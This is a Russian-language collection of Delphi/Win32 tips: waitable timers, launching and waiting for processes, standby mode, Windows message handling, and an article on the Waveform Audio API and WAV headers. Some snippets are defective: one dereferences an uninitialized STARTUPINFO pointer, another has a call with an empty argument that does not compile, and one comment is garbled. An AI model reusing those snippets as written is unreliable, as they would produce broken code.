TimerAttributes: PSecurityAttributes; const Name: string);
destructor Destroy; override;
procedure Start;
procedure Stop;
function Wait(Timeout: longint): TWaitResult;
property Handle: THandle read FHandle;
property LastError: integer read FLastError;
property Period: integer read FPeriod write FPeriod;
property Time: TDateTime read FDueTime write FDueTime;
property LongTime: int64 read FLongTime write FLongTime;
end;
implementation
{ TWaitableTimer }
constructor TWaitableTimer.Create(ManualReset: boolean;
TimerAttributes: PSecurityAttributes; const Name: string);
var
pName: PChar;
begin
inherited Create;
if Name = '' then
pName := nil
else
pName := PChar(Name);
FHandle := CreateWaitableTimer(TimerAttributes, ManualReset, pName);
end;
destructor TWaitableTimer.Destroy;
begin
CloseHandle(FHandle);
inherited Destroy;
end;
procedure TWaitableTimer.Start;
var
SysTime: TSystemTime;
LocalTime, UTCTime: FileTime;
Value: int64 absolute UTCTime;
begin
if FLongTime = 0 then
begin
DateTimeToSystemTime(FDueTime, SysTime);
SystemTimeToFileTime(SysTime, LocalTime);
LocalFileTimeToFileTime(LocalTime, UTCTime);
end
else
Value := FLongTime;
SetWaitableTimer(FHandle, Value, FPeriod, nil, nil, false);
end;
procedure TWaitableTimer.Stop;
begin
CancelWaitableTimer(FHandle);
end;
function TWaitableTimer.Wait(Timeout: Integer): TWaitResult;
begin
case WaitForSingleObjectEx(Handle, Timeout, BOOL(1)) of
WAIT_ABANDONED: Result := wrAbandoned;
WAIT_OBJECT_0: Result := wrSignaled;
WAIT_TIMEOUT: Result := wrTimeout;
WAIT_FAILED:
begin
Result := wrError;
FLastError := GetLastError;
end;
else
Result := wrError;
end;
end;
end.
Пример использования:
// Пример создания таймера, который срабатывает по алгоритму "завтра в это же // время и далее с интервалом в одну минуту". var Timer: TWaitableTimer; begin Timer := TWaitableTimer.Create(false, nil, ''); Timer.Time := Now + 1; //завтра в это же время Timer.Period := 60 * 1000; //Интервал в 1 минуту Timer.Start; //запуск таймера end;
Открыть документ и дождаться завершения работы с ним.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
This tip allows you to open any document with its
associated application (not only exe, com) and wait for it to finish.
}
{
Dieser Tip егmцg1iсht es, nicht nur normale Programme, sondern auch Dateien,
die mit Programmen gецffnеt werden, аиszиfьhгеn und darauf zu warten,
bis sie beendet sind.
}
uses
Shellapi;
function StartAssociatedExe(FileName: string; var ErrorCode: Cardinal): Boolean;
var
Prg: string;
ProcessInfo: TProcessInformation;
StartupInfo: TStartupInfo;
begin
SetLength(Prg, MAX_PATH);
Result := False;
ErrorCode := FindExecutable(PChar(FileName), nil, PChar(Prg));
if ErrorCode >= 32 then
begin
SetLength(Prg, StrLen(PChar(Prg)));
FillChar(StartupInfo, SizeOf(TStartupInfo), 0);
with StartupInfo do
begin
cb := SizeOf(TStartupInfo);
wShowWindow := SW_SHOW;
end;
if CreateProcess(PChar(Prg), PChar(Format('%s %s', [Prg, FileName])),
nil, nil, False, NORMAL_PRIORITY_CLASS, nil, nil, StartupInfo, ProcessInfo) then
begin
WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
GetExitCodeProcess(ProcessInfo.hProcess, ErrorCode);
CloseHandle(ProcessInfo.hProcess);
CloseHandle(ProcessInfo.hThread);
Result := True;
end
else
ErrorCode := GetLastError;
end;
end;
// Example, Beispiel:
procedure TForm1.Button1Click(Sender: TObject);
var
ErrorCode: Cardinal;
begin
StartAssociatedExe('c:\test.doc', ErrorCode);
end;
Переход в ждущий режим под WinNT.
Автор: DeMoN-777 WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Переход в ждущий режим под WinNT
Зависимости: Windows
Автор: DeMoN-777, DeMoN-777@yandex.ru, Санкт-Петербург
Copyright: @
Дата: 21 июня 2002 г.
***************************************************** }
procedure NTWait;
var
hToken: THandle;
tkp: TTokenPrivileges;
ReturnLength: Cardinal;
begin
if OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or
TOKEN_QUERY, hToken) then
begin
LookupPrivilegeValue(nil, 'SeShutdownPrivilege', tkp.Privileges[0].Luid);
tkp.PrivilegeCount := 1;
tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
if AdjustTokenPrivileges(hToken, False, tkp, 0, nil, ReturnLength) then
SetSystemPowerState(true, true);
end;
end;
Как запустить и подождать завершения 2х процессов.
Автор: Baa WEB-сайт: http://forum.vingrad.ru
procedure HzChe;
var
hProcess: array[0..1] of Cardinal;
struc1: PSTARTUPINFO;
struc2: PROCESS_INFORMATION;
begin
if not CreateProcess(PChar('c:\PSTOLD.EXE'),
nil,
nil,
nil,
False,
NORMAL_PRIORITY_CLASS,
nil,
nil,
struc1^,
struc2) then
ShowMessage('Zhopa kakaya-to');
hProcess[0] := struc2.hProcess;
if not CreateProcess(PChar('c:\PSTOLD1.EXE'),
nil,
nil,
nil,
False,
NORMAL_PRIORITY_CLASS,
nil,
nil,
struc1^,
struc2) then
ShowMessage('Zhopa kakaya-to');
hProcess[1] := struc2.hProcess;
if WaitForMultipleObjects(2, @hProcess, True, INFINITE) = 1 then
ShowMessage(' vce, priehali');
end;
P.S. То, что я понаписал нельзя считать цивильным кодом...просто демонстрация работы функции WaitForMultipleObjects ( код позорный...просто жуть...).
Подождать завершения DOS-задачи.
| Выдержка из лекций компьютерных курсов. Изучают DOS и Norton Commander. Дословно: Запуск команды NORTON. Если запуск команды NORTON не включен в команду автозапуска, либо в процессе работы осуществлялся выход программы NORTON, то запустить ее можно с помощью посредства nc.exe - это запускающий файл программы NORTON, находится он в каталоге NC, где собрана вся программа. |
Каким образом организовать ожидание завершения DOS-задачи? Например, надо подождать, пока заархивируется файл, и далее обработать его.
uses Windows;
procedure RunRarAndWait;
var
si: TStartupInfo;
pi: TProcessInformation;
begin
//подготовливаем записи si и pi к использованию
FillChar(si, SizeOf(si));
si.cb := SizeOf(si);
FillChar(pi, SizeOf(pi));
//попытаемся запустить рар
if CreateProcess('rar.exe', 'parameters',
nil, nil, //безопасность по умолчанию
false, //не наследовать хэндлов
0, //флаги создания по умолчанию
nil, //переменные среды по умолчанию
nil, //текущая директория по умолчанию
si, //стартовая информация
pi) //а в эту запись получим информацию о созданом процессе
then
begin
//удалось запустить рар
//подождем пока рар работает
WaitForSingleObject(pi.hProcess, INFINITE);
//убираем мусор
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
end
else
//выдаем сообщение об ощибке
MessageDlg(SysErrorMessage(GetLastError), mtError, [mbOK], 0);
end;
|
Подождать завершения DOS-задачи 2.
| Сантехник - администратор сервера фирмы Sun. |
function WinExecute(CmdLine: string; Wait: Boolean): Boolean;
var
StartupInfo: TStartupInfo;
ProcessInformation: TProcessInformation;
begin
Result := True;
try
FillChar(StartupInfo, SizeOf(StartupInfo), 0);
StartupInfo.cb := SizeOf(StartupInfo);
if not CreateProcess(nil, PChar(CmdLine), nil, nil, True, 0, nil,
nil, StartupInfo, ProcessInformation) then
RaiseLastWin32Error;
if Wait then
WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
except
Result := False;
end;
end;
|
Подождать завершения DOS-задачи 3.
| Молодого программиста спрашивают: что ты, мол, подружку себе не заводишь? Пора бы уже.. Тот отвечает: - Зачем, если есть компьютер? |
function TForm1.StartWithShell(Prog, par, Verz: string;
var hProcess: THandle): DWord;
var
exInfo: TShellExecuteInfo;
begin
hProcess := 0;
FillChar(exInfo, Sizeof(exInfo), 0);
with exInfo do
begin
cbSize:= Sizeof(exInfo);
fMask := SEE_MASK_NOCLOSEPROCESS or SEE_MASK_FLAG_DDEWAIT;
Wnd := 0;
lpVerb:= 'open';
lpParameters := PChar(par);
lpFile:= Pchar(prog);
nShow := SW_HIDE;
end;
Result := ERROR_SUCCESS;
if ShellExecuteEx(@exInfo) then
hProcess := exinfo.hProcess
else
Result := GetLastError;
end;
function TForm1.StartProgramm : Boolean;
var
r, ExitCode: DWord;
err: string;
hProcess: THandle;
begin
Result := False;
r := StartWithShell('rar.exe', , 'c:\windows\system',
hProcess);
if r = ERROR_SUCCESS then
begin
repeat
Application.ProcessMessages;
GetExitCodeProcess(hProcess, ExitCode);
until
ExitCode <> STILL_ACTIVE;
result := true;
end
else
begin
case r of
ERROR_FILE_NOT_FOUND : err:='The specified file was not found.';
ERROR_PATH_NOT_FOUND : err:='The specified path was not found.';
ERROR_DDE_FAIL : err:='The DDE transaction failed.';
ERROR_NO_ASSOCIATION : err:='There is no application associated ' +
'with the given filename extension.';
ERROR_ACCESS_DENIED : err:='Access denied';
ERROR_DLL_NOT_FOUND : err:='DLL not found';
ERROR_CANCELLED : err:='The function prompted the user for the ' +
'location of the application, but the user cancelled the request.';
ERROR_NOT_ENOUGH_MEMORY: err:='Not enough memory';
ERROR_SHARING_VIOLATION: err:='A sharing violation occurred.';
else
err := 'Unknown';
end;
MessageDlg('Error: ' + err, mtError, [mbOk], 0);
end;
end;
|
Как определить, что моё приложение хотят завершить.
| Дорогая служба поддержки, В прошлом году я произвела обновление программ на компьютере: вместо Приятель 5.0 я установила Муж 1.0 и заметила, что новая программа стала производить неожиданные изменения в финансовых модулях и ограничила доступ к приложениям типа цветы и ювелир, которые прекрасно работали под управлением Приятель 5.0. Кроме того, Муж 1.0 удалил многие другие ценные программы, например, Романтика 9.9, и одновременно установил Футбол 5.0, Гараж 4.5 и Телевизор 6.0. Программа Разговор 8.0 больше не запускается, а при запуске программы Уборка Дома 2.6, вся система зависает. Я пробовала запустить Нытье 5.3, но результатов не добилась. Пожалуйста, помогите! Отчаявшаяся |
procedure WMQueryEndSession(var message: TWMQueryEndSession);
message WM_QUERYENDSESSION;
...
procedure TMainFrm.WMQueryEndSession(var message: TWMQueryEndSession);
begin
message.Result := 1;
gEndSession := True;
end;
...
procedure TMainFrm.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
CanClose := True;
if gQueryEnd and not gEndSession then
if MessageDlg('Quitting (your app name). Are you sure?',
mtInformation, mbOKCancel, 0) = mrCancel then
CanClose := False
end;
|
Определить, что изменились настройки экрана.
type
{...}
private
procedure WMDisplayChange(var msg: TMessage);
message WM_DISPLAYCHANGE;
public
{...}
end;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.WMDisplayChange(var msg: TMessage);
begin
ShowMessage('Display settings changed!');
inherited;
end;
|
Обнаружение прокрутки TListBox.
Автор: Dr. BobХмм, было бы неплохо отлавиливать это сообщение и генерировать для этого случая событие OnVScroll. Например так:
unit Listbob;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls;
type
TListBob = class(tlistbox)
private
{ Private declarations }
FOnHScroll: TNotifyEvent;
FOnVScroll: TNotifyEvent;
protected
{ Protected declarations }
procedure WMHScroll(var Message: TWMHScroll); message WM_HSCROLL;
procedure WMVScroll(var Message: TWMVScroll); message WM_VSCROLL;
public
{ Public declarations }
constructor Create(AOwner: TComponent); override;
published
{ Published declarations }
property OnHScroll: TNotifyEvent read FOnHScroll write FOnHScroll;
property OnVScroll: TNotifyEvent read FOnVScroll write FOnVScroll;
end;
procedure Register;
implementation
constructor TListBob.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FOnHScroll := nil;
FOnVScroll := nil;
end;
procedure TListBob.WMHScroll(var Message: TWMHScroll);
{ помните что данное сообщение вызывается дважды!! }
begin
if Assigned(FOnHScroll) then
FOnHScroll(Self);
DefaultHandler(Message);
end;
procedure TListBob.WMVScroll(var Message: TWMHScroll);
{ помните что данное сообщение вызывается дважды!! }
begin
if Assigned(FOnVScroll) then
FOnVScroll(Self);
DefaultHandler(Message);
end;
procedure Register;
begin
RegisterComponents('Dr.Bob', [TListBob]);
end;
end.
|
Как определить - нажал ли пользователь клавишу PrintScreen.
В событиях, обрабатывающих нажатия клавишь в TForm, клавиша PrintScreen не обрабатывается. Однако проблему можно решить при помощи 'GetAsyncKeyState'. Функция GetAsyncKeyState определяет, когда клавиша была нажата или отпущена каждый раз, когда функция вызвана, а так же, когда клавиша была нажата после предыдущего вызова GetAsyncKeyState.
Событие OnIdle в TApplication как раз подходит для вызова этой API функции:
procedure TForm1.FormCreate(Sender: TObject);
begin
Application.OnIdle := AppIdle;
end;
procedure TForm1.AppIdle(Sender: TObject; var Done: Boolean);
begin
if GetAsyncKeyState(VK_SNAPSHOT) <> 0 then
Form1.Caption := 'PrintScreen нажата !';
Done := True;
end;
|
Проверка изменения данных таблицы.
В обработчике события формы OnClose вы можете поместить следующий код:
if Table1.State in dsEditModes then
if MessageDlg( 'Сохранить изменения?', mtInformation, [mbYes, mbNo], 0 ) = mrYes then
Table1.Post
else
Table1.Cancel ;
|
Waveform Audio Win32 API.
Автор: Александр Галилов Введение Одной из наиболее важных частей Multimedia-API Windows 95/98/NT по праву может считаться Waveform Audio. Предоставляя наиболее широкие возможности по работе с оцифрованным звуком, эта группа функций таит в себе немало "подводных камней". Автор довольно много сил приложил к исследованию вопроса оптимального применения этих функций и хотел бы поделиться своими "открытиями" с читателями. Приводимые здесь примеры могут использоваться совершенно свободно, за исключением особо оговоренных случаев. Первая часть открывает небольшую серию статей, посвященных обработке звука в режиме реального времени (это когда время реакции системы на событие строго ограничено и не превышает заранее заданной величины - т.н. "жесткие" системы реального времени). Если Вы рассчитываете увидеть здесь разбор каких-то особенно сложных алгоритмов кодирования или сжатия звука - разочарую Вас. Далее применения быстрого преобразования Фурье пока ничего шибко математического не планируется. Обратите внимание, что вся информация почерпнута из Microsoft Multimedia Programmer's Reference, поэтому всячески рекомендую обращаться туда, тем более, что эти файлы включены в поставку Delphi 3, 4, 5. В первой части рассматривается использование функций Waveform Audio Win32 API. Автор приводит описания наиболее важных, по его мнению, функций и рассматривает пример реализации программы, записывающей звук в WAV-файл в течение "неограниченного" времени. Приведенный в статье пример реализован на Delphi 4. Часть 1 Оцифрованный звук может быть представлен самыми различными способами. В числе наиболее широко применяемого способа цифрового представления звука можно отметить формат PCM - pulse code modulation - импульсно-кодовая модуляция. В контексте нашей тематики под этим термином подразумевается такой способ кодирования данных, при котором каждая выборка (отсчет), произведенная аналого-цифровым преобразователем (здесь - в смысле звуковой карты), представляется в памяти в виде числа, пропорционального по своему значению мгновенной величине сигнала в момент выборки. Скорость выборок или, другими словами, частота выполнения отсчетов (частота дискретизации), прямо связана с максимальной частотой поступающего аналогового сигнала. Если сигнал имеет гармоническую природу и ограничен в некотором диапазоне частот, т.е. может быть представлен в виде конечного числа членов ряда Фурье, то для его корректной оцифровки, согласно теореме отсчетов, достаточно иметь частоту дискретизации вдвое превосходящей частоту максимальной гармоники сигнала. Таким образом, если мы хотим без потери качества производить цифровую запись скажем, телефонного разговора, частота сигнала которого находится в диапазоне 300..3400 Гц, нам вполне достаточно установить частоту дискретизации 8000 отсчетов/сек. Величина 8000 выбрана из соображений совместимости с различными звуковыми картами и драйверами, поскольку для некоторых из них это является наименьшим возможным значением частоты дискретизации сигнала. Если же Вы хотите записывать радиопередачи в диапазоне FM (88 - 108 MHz), то необходимо выбрать частоту дискретизации 12500*2=25000 отсчетов/сек, т.к. звуковой диапазон FM-станции 12.5 килогерц. Как Вы уже наверное догадались, запись с компакт-диска для сохранения качества нужно производить с частотой дискретизации 44100 выборок/секунду. Замечу, что это вовсе не гарантирует качество звучание записи "как на CD-ROM". Звуковая карта вносит некоторые искажения в любом случае. Как правило, это напрямую связано со стоимостью карты. Более дорогие обычно обеспечивают лучшее качество. Теперь более подробно рассмотрим некоторые из функций, позволяющие работать со звуком.Прежде всего, рассмотрим функцию waveInGetNumDevs:
// функция возвращает количество устройств ввода, // поддерживающих оцифровку звукового сигнала. // Если функция вернула 0, то таких устройств в системе нет. function waveInGetNumDevs: UINT; stdcall; |
Функция waveInGetDevCaps позволяет получить характеристики указанных устройств.
function waveInGetDevCaps( hwi: HWAVEIN; lpCaps: PWaveInCaps; uSize: UINT ): MMRESULT; stdcall; |
LpCaps - адрес структуры (записи) TWAVEINCAPS; uSize - размер в байтах структуры TWAVEINCAPS.
type
TWaveInCaps = record
wMid: Word;
wPid: Word;
vDriverVersion: MMVERSION;
szPname: array[0..MAXPNAMELEN - 1] of AnsiChar;
dwFormats: DWORD;
wChannels: Word;
wReserved1: Word;
end;
|
WMid: Word - идентификатор производителя; wPid: Word - идентификатор продукции производителя; vDriverVersion: MMVERSION - версия драйвера; szPname: array[0..MAXPNAMELEN-1] of AnsiChar - наименование продукта (строка заканчивается символом с кодом 0); dwFormats: DWORD - стандартные форматы данных, поддерживаемые устройством:
WAVE_FORMAT_1M08 11.025 kHz, mono, 8-bit WAVE_FORMAT_1M16 11.025 kHz, mono, 16-bit WAVE_FORMAT_1S08 11.025 kHz, stereo, 8-bit WAVE_FORMAT_1S16 11.025 kHz, stereo, 16-bit WAVE_FORMAT_2M08 22.05 kHz, mono, 8-bit WAVE_FORMAT_2M16 22.05 kHz, mono, 16-bit WAVE_FORMAT_2S08 22.05 kHz, stereo, 8-bit WAVE_FORMAT_2S16 22.05 kHz, stereo, 16-bit WAVE_FORMAT_4M08 44.1 kHz, mono, 8-bit WAVE_FORMAT_4M16 44.1 kHz, mono, 16-bit WAVE_FORMAT_4S08 44.1 kHz, stereo, 8-bit WAVE_FORMAT_4S16 44.1 kHz, stereo, 16-bit |
Функция waveInGetErrorText возвращает текстовое описание возникших в ходе выполнения ошибок.
function waveInGetErrorText( mmrError: MMRESULT; lpText: PChar; uSize: UINT ): MMRESULT; stdcall; |
Ниже приведен пример процедуры, выводящей сведения об устройствах аудиоввода.
uses Windows, MMSystem;
type
TModeDescr = record
mode: DWORD; // код режима работы
descr: string[32]; // словесное описание
end;
const
// массив содержит сопоставления режима работы и словесного описания
modes: array[1..12] of TModeDescr = ((mode: WAVE_FORMAT_1M08; descr:
'11.025 kHz, mono, 8-bit'),
(mode: WAVE_FORMAT_1M16; descr: '11.025 kHz, mono, 16-bit'),
(mode: WAVE_FORMAT_1S08; descr: '11.025 kHz, stereo, 8-bit'),
(mode: WAVE_FORMAT_1S16; descr: '11.025 kHz, stereo, 16-bit'),
(mode: WAVE_FORMAT_2M08; descr: '22.05 kHz, mono, 8-bit'),
(mode: WAVE_FORMAT_2M16; descr: '22.05 kHz, mono, 16-bit'),
(mode: WAVE_FORMAT_2S08; descr: '22.05 kHz, stereo, 8-bit'),
(mode: WAVE_FORMAT_2S16; descr: '22.05 kHz, stereo, 16-bit'),
(mode: WAVE_FORMAT_4M08; descr: '44.1 kHz, mono, 8-bit'),
(mode: WAVE_FORMAT_4M16; descr: '44.1 kHz, mono, 16-bit'),
(mode: WAVE_FORMAT_4S08; descr: '44.1 kHz, stereo, 8-bit'),
(mode: WAVE_FORMAT_4S16; descr: '44.1 kHz, stereo, 16-bit'));
procedure ShowInfo;
var
WaveNums, i, j: integer;
WaveInCaps: TWaveInCaps;
// структура в которую помещается информация об устройстве
begin
WaveNums := waveInGetNumDevs;
if WaveNums > 0 then // если в системе есть устройства аудиоввода,то
begin
for i := 0 to WaveNums - 1 do
// получаем характеристики всех имеющихся устройств
begin
waveInGetDevCaps(i, @WaveInCaps, sizeof(TWaveInCaps));
// добавляем наименование устройства
MainForm.Memo.Lines.Add(PChar(@WaveInCaps.szPname));
for j := 1 to High(modes) do
begin
// выводим поддерживаемые устройством режимы работы
if (modes[j].mode and WaveInCaps.dwFormats) = modes[j].mode then
Memo.Lines.Add(modes[j].descr);
end;
end;
end;
end;
|
Рис 1. Сведения, выводимые процедурой ShowInfo.
Теперь Вы можете определить количество устройств аудиоввода Waveform audio и поддерживаемые ими режимы. Далее рассмотрим еще несколько функций, непосредственно обеспечивающих работу с звуковыми устройствами.
Функция waveInOpen открывает имеющееся устройство ввода Waveform audio для оцифровки сигнала.
function waveInOpen( lphWaveIn: PHWAVEIN; uDeviceID: UINT; lpFormatEx: PWaveFormatEx; dwCallback, dwInstance, dwFlags: DWORD ): MMRESULT; stdcall; |
LpFormatEx - указатель на структуру типа TWaveFormatEx.
type
TWaveFormatEx = packed record
wFormatTag: Word; { format type }
nChannels: Word; { number of channels (i.e. mono, stereo, etc.) }
nSamplesPerSec: DWORD; { sample rate }
nAvgBytesPerSec: DWORD; { for buffer estimation }
nBlockAlign: Word; { block size of data }
wBitsPerSample: Word; { number of bits per sample of mono data }
cbSize: Word; { the count in bytes of the size of }
end;
|
WFormatTag - формат Waveform audio. Мы будем использовать значение WAVE_FORMAT_PCM (это означает импульсно-кодовая модуляция) другие возможные значения смотрите в заголовочном файле MMREG.H; nChannels - количество каналов. Обычно 1 (моно) или 2(стерео); nSamplesPerSec - частота дискретизации. Для формата PCM - в классическом смысле, т.е. количество выборок в секунду. Согласно теореме отсчетов должна вдвое превышать частоту оцифровываемого сигнала. Обычно находится в диапазоне от 8000 до 44100 выборок в секунду; nAvgBytesPerSec - средняя скорость передачи данных. Для PCM равна nSamplesPerSec*nBlockAlign; nBlockAlign - для PCM равен (nChannels*wBitsPerSample)/8; wBitsPerSample - количество бит в одной выборке. Для PCM равно 8 или 16; cbSize - равно 0. Подробности в Microsoft Multimedia Programmer's Reference; dwCallback - адрес callback-функции, идентификатор окна или потока, вызываемого при наступлении события; dwInstance - пользовательский параметр в callback-механизме. Сам по себе не используется dwFlags - флаги для открываемого устройства:
CALLBACK_EVENT dwCallback-параметр - код сообщения (an event handle); CALLBACK_FUNCTION dwCallback-параметр - адрес процедуры-обработчика; CALLBACK_NULL dwCallback-параметр не используется; CALLBACK_THREAD dwCallback-параметр - идентификатор потока команд; CALLBACK_WINDOW dwCallback-параметр - идентификатор окна; WAVE_FORMAT_DIRECT если указан этот флаг, ACM-драйвер не выполняет преобразование данных; WAVE_FORMAT_QUERY функция запрашивает устройство для определения, поддерживает ли оно указанный формат, но не открывает его; |
В случае использование Callback процедуры она имеет следующий вид:
procedure waveInProc(hwi: HWAVEIN; uMsg, dwInstance, dwParam1, dwParam2: DWORD); stdcall; begin // что-то делаем end; |
Функция waveInPrepareHeader выполняет подготовку буфера для операции загрузки данных:
function waveInPrepareHeader( hWaveIn: HWAVEIN; lpWaveInHdr: PWaveHdr; uSize: UINT ): MMRESULT; stdcall; |
Здесь: hWaveIn - идентификатор открытого устройства; lpWaveInHdr - адрес структуры WaveHdr:
type
TWaveHdr = record
lpData: PChar; { pointer to locked data buffer }
dwBufferLength: DWORD; { length of data buffer }
dwBytesRecorded: DWORD; { used for input only }
dwUser: DWORD; { for client's use }
dwFlags: DWORD; { assorted flags}
dwLoops: DWORD; { loop control counter }
lpNext: PWaveHdr; { reserved for driver }
reserved: DWORD; { reserved for driver }
end;
|
Функция waveInAddBuffer ставит в очередь на загрузку данными буфер памяти. Когда буфер заполнен, система уведомляет об этом приложение (см. выше waveInOpen).
function waveInAddBuffer( hWaveIn: HWAVEIN; lpWaveInHdr: PWaveHdr; uSize: UINT ): MMRESULT; stdcall; |
Функция waveInReset останавливает операцию загрузки данных. Все текущие буферы отмечаются как обработанные и приложение уведомляется о завершении загрузки данных (см. waveInOpen).
function waveInReset( hWaveIn: HWAVEIN ): MMRESULT; stdcall; |
Функция waveInClose закрывает открытое устройство ввода:
function waveInClose( hWaveIn: HWAVEIN ): MMRESULT; stdcall; |
MMRESULT может принимать следующие значения:
MMSYSERR_NOERROR нет ошибок; MMSYSERR_ALLOCATED указанный ресурс уже выделен; MMSYSERR_BADDEVICEID указанный идентификатор устройства вне диапазона; MMSYSERR_NODRIVER отсутствует драйвер устройства; MMSYSERR_NOMEM невозможно выделить или зафиксировать блок памяти; WAVERR_BADFORMAT попытка открытия с неподдерживаемым форматом данных; MMSYSERR_INVALHANDLE параметром является недопустимый идентификатор; WAVERR_STILLPLAYING указанный буфер все еще в очереди; WAVERR_UNPREPARED буфер не был подготовлен; |
Пример реализации описанного в статье механизма (Delphi 3) Вы можете скачать здесь (17.7 K).
Формат Wave-файла.
Вот он:
TWaveHeader = record Marker1: Array[0..3] of Char; BytesFollowing: LongInt; Marker2: Array[0..3] of Char; Marker3: Array[0..3] of Char; Fixed1: LongInt; FormatTag: Word; Channels: Word; SampleRate: LongInt; BytesPerSecond: LongInt; BytesPerSample: Word; BitsPerSample: Word; Marker4: Array[0..3] of Char; DataBytes: LongInt; end; |
Для создания собственного WAV-файла сделайте следующее:
DataBytes := Channels; DataBytes := DataBytes * SampleRate; DataBytes := DataBytes * Resolution; DataBytes := DataBytes div 8; DataBytes := DataBytes * Duration; DataBytes := DataBytes div 1000; WaveHeader.Marker1 := 'RIFF'; WaveHeader.BytesFollowing := DataBytes + 36; WaveHeader.Marker2 := 'WAVE'; WaveHeader.Marker3 := 'fmt '; WaveHeader.Fixed1 := 16; WaveHeader.FormatTag := 1; WaveHeader.SampleRate := SampleRate; WaveHeader.Channels := Channels; WaveHeader.BytesPerSecond := Channels; WaveHeader.BytesPerSecond := WaveHeader.BytesPerSecond * SampleRate; WaveHeader.BytesPerSecond := WaveHeader.BytesPerSecond * Resolution; WaveHeader.BytesPerSecond := WaveHeader.BytesPerSecond div 8; WaveHeader.BytesPerSample := Channels * Resolution div 8; WaveHeader.BitsPerSample := Resolution; WaveHeader.Marker4 := 'data'; WaveHeader.DataBytes := DataBytes; |
Остальная часть файлы является звуковыми данными. Порядок следования: верхний уровень для левого канала, верхний уровень для правого канала и так далее. Для моно или 8-битных файлов сделайте соответствующие изменения.
Проигрывание wave-файла, помещенного в ресурс.
Я пытаюсь проиграть wave-файл при щелчке на кнопке моего Delphi-приложения. Я установил звуковой файл и воспользовался вызовом API функции PlaySound(), но мне хотелось бы поместить его в ресурс приложения, т.е. "вложить" его в EXE-файл и проигрывать его оттуда.Во первых, вам необходимо скомпилировать необходимый ресурс (например, с помощью Resource Workshop) и включить туда ваш WAVE-файл. Затем для его вызова и проигрывания используйте следующий код:
var
FindHandle, ResHandle: THandle;
ResPtr: Pointer;
begin
FindHandle := FindResource(HInstance, '<Имя вашего ресурса>', 'WAVE');
if FindHandle <> 0 then
begin
ResHandle := LoadResource(HInstance, FindHandle);
if ResHandle <> 0 then
begin
ResPtr := LockResource(ResHandle);
if ResPtr <> nil then
SndPlaySound(PChar(ResPtr), snd_ASync or snd_Memory);
UnlockResource(ResHandle);
end;
FreeResource(FindHandle);
end;
end;
|
Спустя некоторое время я нашел лучшее решение (в Delphi 3):
PlaySound('S1', HInstance, SND_RESOURCE or SND_ASYNC);
|
Эта единственная строчка кода сама ищет, загружает, блокирует, разблокирует и освобождает ресурс.
Получить информацию о WAV файле.
unit W32Waves;
{ Unit for accessing Windows PCM wave file informations
By Ulli Conrad <uconrad@gmx.net> }
interface
uses SysUtils, Windows, MMSystem, Dialogs;
type
PWaveInformation = ^tWaveInformation;
TWaveInformation = record
WaveFormat: Word; { Wave format identifier }
Channels: Word; { Mono=1, Stereo=2 }
SampleRate: Longint; { Sample rate in Hertz }
BitsPerSample: Word; { Resolution, e.g. 8 or 16 Bit }
SamplesNumber: Longint; { Number of samples }
Length: Extended; { Sample length in seconds }
ValidWave: bool; { Specifies if the file could be read }
end;
const { Constants for wave format identifier }
WAVE_FORMAT_PCM = $0001; { Windows PCM }
WAVE_FORMAT_G723_ADPCM = $0014; { Antex ADPCM }
WAVE_FORMAT_ANTEX_ADPCME = $0033; { Antex ADPCME }
WAVE_FORMAT_G721_ADPCM = $0040; { Antex ADPCM }
WAVE_FORMAT_APTX = $0025; { Audio Processing Technology }
WAVE_FORMAT_AUDIOFILE_AF36 = $0024; { Audiofile, Inc. }
WAVE_FORMAT_AUDIOFILE_AF10 = $0026; { Audiofile, Inc. }
WAVE_FORMAT_CONTROL_RES_VQLPC = $0034; { Control Resources Limited }
WAVE_FORMAT_CONTROL_RES_CR10 = $0037; { Control Resources Limited }
WAVE_FORMAT_CREATIVE_ADPCM = $0200; { Creative ADPCM }
WAVE_FORMAT_DOLBY_AC2 = $0030; { Dolby Laboratories }
WAVE_FORMAT_DSPGROUP_TRUESPEECH = $0022; { DSP Group, Inc }
WAVE_FORMAT_DIGISTD = $0015; { DSP Solutions, Inc. }
WAVE_FORMAT_DIGIFIX = $0016; { DSP Solutions, Inc. }
WAVE_FORMAT_DIGIREAL = $0035; { DSP Solutions, Inc. }
WAVE_FORMAT_DIGIADPCM = $0036; { DSP Solutions ADPCM }
WAVE_FORMAT_ECHOSC1 = $0023; { Echo Speech Corporation }
WAVE_FORMAT_FM_TOWNS_SND = $0300; { Fujitsu Corp. }
WAVE_FORMAT_IBM_CVSD = $0005; { IBM Corporation }
WAVE_FORMAT_OLIGSM = $1000; { Ing C. Olivetti & C., S.p.A. }
WAVE_FORMAT_OLIADPCM = $1001; { Ing C. Olivetti & C., S.p.A. }
WAVE_FORMAT_OLICELP = $1002; { Ing C. Olivetti & C., S.p.A. }
WAVE_FORMAT_OLISBC = $1003; { Ing C. Olivetti & C., S.p.A. }
WAVE_FORMAT_OLIOPR = $1004; { Ing C. Olivetti & C., S.p.A. }
WAVE_FORMAT_IMA_ADPCM = $0011; { Intel ADPCM }
WAVE_FORMAT_DVI_ADPCM = $0011; { Intel ADPCM }
WAVE_FORMAT_UNKNOWN = $0000;
WAVE_FORMAT_ADPCM = $0002; { Microsoft ADPCM }
WAVE_FORMAT_ALAW = $0006; { Microsoft Corporation }
WAVE_FORMAT_MULAW = $0007; { Microsoft Corporation }
WAVE_FORMAT_GSM610 = $0031; { Microsoft Corporation }
WAVE_FORMAT_MPEG = $0050; { Microsoft Corporation }
WAVE_FORMAT_NMS_VBXADPCM = $0038; { Natural MicroSystems ADPCM }
WAVE_FORMAT_OKI_ADPCM = $0010; { OKI ADPCM }
WAVE_FORMAT_SIERRA_ADPCM = $0013; { Sierra ADPCM }
WAVE_FORMAT_SONARC = $0021; { Speech Compression }
WAVE_FORMAT_MEDIASPACE_ADPCM = $0012; { Videologic ADPCM }
